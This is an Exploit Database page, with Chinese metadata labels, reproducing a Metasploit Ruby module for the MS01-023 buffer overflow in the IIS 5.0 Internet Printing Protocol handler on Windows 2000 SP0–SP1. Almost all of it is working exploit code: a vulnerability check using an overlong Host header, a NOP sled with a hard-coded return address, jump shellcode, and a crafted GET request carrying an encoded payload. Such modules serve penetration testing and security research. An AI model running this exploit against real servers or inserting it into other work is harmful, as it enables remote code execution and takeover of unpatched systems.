Microsoft IIS 5.0 – Printer Host Header Overflow (MS01-023) (Metasploit)

• Exploit Database
• 49 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16469/

• ##
  # $Id: ms01_023_printer.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS 5.0 Printer Host Header Overflow',
  			'Description'=> %q{
  					This exploits a buffer overflow in the request processor of
  				the Internet Printing Protocol ISAPI module in IIS. This
  				module works against Windows 2000 service pack 0 and 1. If
  				the service stops responding after a successful compromise,
  				run the exploit a couple more times to completely kill the
  				hung process.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2001-0241'],
  					[ 'OSVDB', '3323'],
  					[ 'BID', '2674'],
  					[ 'MSB', 'MS01-023'],
  					[ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 900,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'Windows 2000 English SP0-SP1',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x732c45f3,
  						},
  					],
  				],
  			'Platform' => 'win',
  			'DisclosureDate' => 'May 1 2001',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class)
  	end
  
  
  	def check
  		connect
  		sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
  		resp = sock.get_once
  		disconnect
  
  		if !(resp and resp =~ /Error in web printer/)
  			return Exploit::CheckCode::Safe
  		end
  
  		connect
  		sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
  		resp = sock.get_once
  		disconnect
  
  		if (resp and resp =~ /locked out/)
  			print_status("The IUSER account is locked out, we can't check")
  			return Exploit::CheckCode::Detected
  		end
  
  		if (resp and resp.index("HTTP/1.1 500") >= 0)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		buf = make_nops(280)
  		buf[268, 4] = [target.ret].pack('V')
  
  		# payload is at: [ebx + 96] + 256 + 64
  		buf << "\x8b\x4b\x60"# mov ecx, [ebx + 96]
  		buf << "\x80\xc1\x40"# add cl, 64
  		buf << "\x80\xc5\x01"# add ch, 1
  		buf << "\xff\xe1"# jmp ecx
  
  		sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
  
  		handler
  		disconnect
  	end
  
  end